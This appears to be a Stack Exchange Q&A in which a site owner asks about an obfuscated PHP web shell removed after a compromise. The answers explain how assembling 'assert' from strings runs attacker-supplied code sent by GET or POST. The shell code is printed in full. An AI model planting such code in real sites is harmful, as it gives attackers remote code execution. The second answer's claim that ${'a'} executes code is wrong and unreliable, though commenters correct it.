I'm cleaning up a website after an attack which resulted in many PHP shells being uploaded. I've found and removed the following code:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

Could you tell me what it does? How does ${'a'} lead to code execution? Is the injected code sent by POST request?

  • 14
    Things like this are why a standard recommendation would be to recover known good code to a fresh, clean system instead of trying to clean up this system. Once you're finished with cleaning up this PHP code, how can you know that you don't have one or multiple non-PHP backdoors/rootkits installed, which would be a reasonable expectaction? Or even that you got the PHP part completely clean? It seems a bit futile.
    – Peteris
    Commented Jan 13, 2017 at 7:54
  • @Peteris I agree, though if good-code's backups are not in their latest version/available (e.g.: CMS' customized code), cleaning may be a nuisance and a futile thing to do, especially when requested by a client that does not understand recovery. On the positive side, it is also a learning experience...
    – CPHPython
    Commented Jan 13, 2017 at 14:46
  • @CPHPython even in this situation the proper response wouldn't be to clean up the compromised system - then you should start with a clean system with the latest good code that you do have (or e.g. a uncustomised CMS version), do a diff with the compromised code, and then transfer over only those parts of the diff that are the customizations/fixes/etc that you want. In this way you can be sure of what modifications you transferred, are much less likely to leave a backdoor, and also you have a full list of what changes the attackers made to that code, not just the places that seem suspicious.
    – Peteris
    Commented Jan 13, 2017 at 16:59
  • @Peteris Again I agree, and I'd likely take that approach. However, it still requires to do a full comparison of all source code, developer's code and all plugins' code (requiring to re-fetch the same plugins' versions)... The management/client may not understand why it would take so long to fix something that was good just the previous day, and if they wouldn't accept the delay, they would probably ask for a quick cleanup and put it live as fast as possible, while another team (if there is one) would do that comparison, rebuild everything from scratch and figure out how the attackers did it..
    – CPHPython
    Commented Jan 13, 2017 at 18:32

2 Answers 2


It's an obfuscated web shell that allows remote code execution.

The script feeds $_REQUEST['e'] into the assert() function. That evaluates the e request parameter as PHP. Use it like this:


assert() is a debugging feature to evaluate assertions. But if you feed it an arbitrary string it will be executed as a PHP expression. It's a fancy way of avoiding eval() to prevent malware detection.

Here is the snippet reformatted and commented:

// Make sure request parameter e is provided
if(isset($_REQUEST['e'])) {
    // Complicate static analysis by assembling "assert" from multiple strings
    $b = "ass"."ert";
    // Evaluate assertion (yes, in PHP you can "call" a string as function name)
    $a = $b($_REQUEST['e']);
    // Junk. The assertion has already run, this doesn't do anything

How does ${'a'} lead to code execution?

It doesn't. $b($_REQUEST['e']) is where the assertion runs. The code works without ${'a'}.

Is the injected code sent by POST request?

$_REQUEST allows the parameter to be sent via both GET and POST.

  • 3
    I'm Commander Shepherd, and this is my favorite answer on the citadel. Or at least for this question. Quick! The mods are asleep, post answers! Commented Jan 12, 2017 at 23:57
  • 2
    @MarkBuffalo During the day we're SecSE but at night we're a free malware analysis service.
    – Arminius
    Commented Jan 13, 2017 at 0:03
  • 38
    In what kind of ass-backwards language is assert also eval? Oh right... Commented Jan 13, 2017 at 5:18
  • @immibis "ass" + "ert" Commented Jan 13, 2017 at 14:15
  • 1
    Complicate static analysis by assembling "assert" from multiple strings from all the "complicated" ways that could explain that line, yours made me laugh.
    – CPHPython
    Commented Jan 13, 2017 at 14:36

Let's break it down.


This will create a variable 'b' with 'ass' concatenated with 'ert' to form 'assert'.


Since b = 'assert' this will evaluate to assert() passing in whatever is 'e' in the request. Assert is a function that will check to see if the what is passed in is false (http://php.net/manual/en/function.assert.php).


This actually does nothing. It is the same as $a.

If the hacker passes in a something as 'e' in the request by requesting the page yourdomain.com/thephpfile.php?e=1%3D2 the browser will convert %3D to the '=' sign and e will be '1=2'.

Let's put it together.


This will return 1 because it is asserting that the result is false.

This can be used to check variables in your php page by checking to see if a variable equals what they pass in.

Let me know if you need clarification.

  • 1
    ${'assert(1=2)'} would just define a variable. $b($_REQUEST['e']) is where the assertion gets executed. Also, 1=2 is an assignment, not a comparison.
    – Arminius
    Commented Jan 12, 2017 at 23:58
  • Right, sorry I should have used ==. As far as when the code is actually run, I believe you need the ${} to actually execute the assert(), otherwise it is just a string in a variable.
    – MikeSchem
    Commented Jan 13, 2017 at 0:02
  • Your breakdown is wrong. ${'a'}; is the same as $a;. It doesn't have any evaluating side effects. cowburn.info/2008/01/12/php-vars-curly-braces
    – Arminius
    Commented Jan 13, 2017 at 17:35
  • Made changes to my answer to reflect your comments, thanks!
    – MikeSchem
    Commented Jan 20, 2017 at 13:17

Not the answer you're looking for? Browse other questions tagged .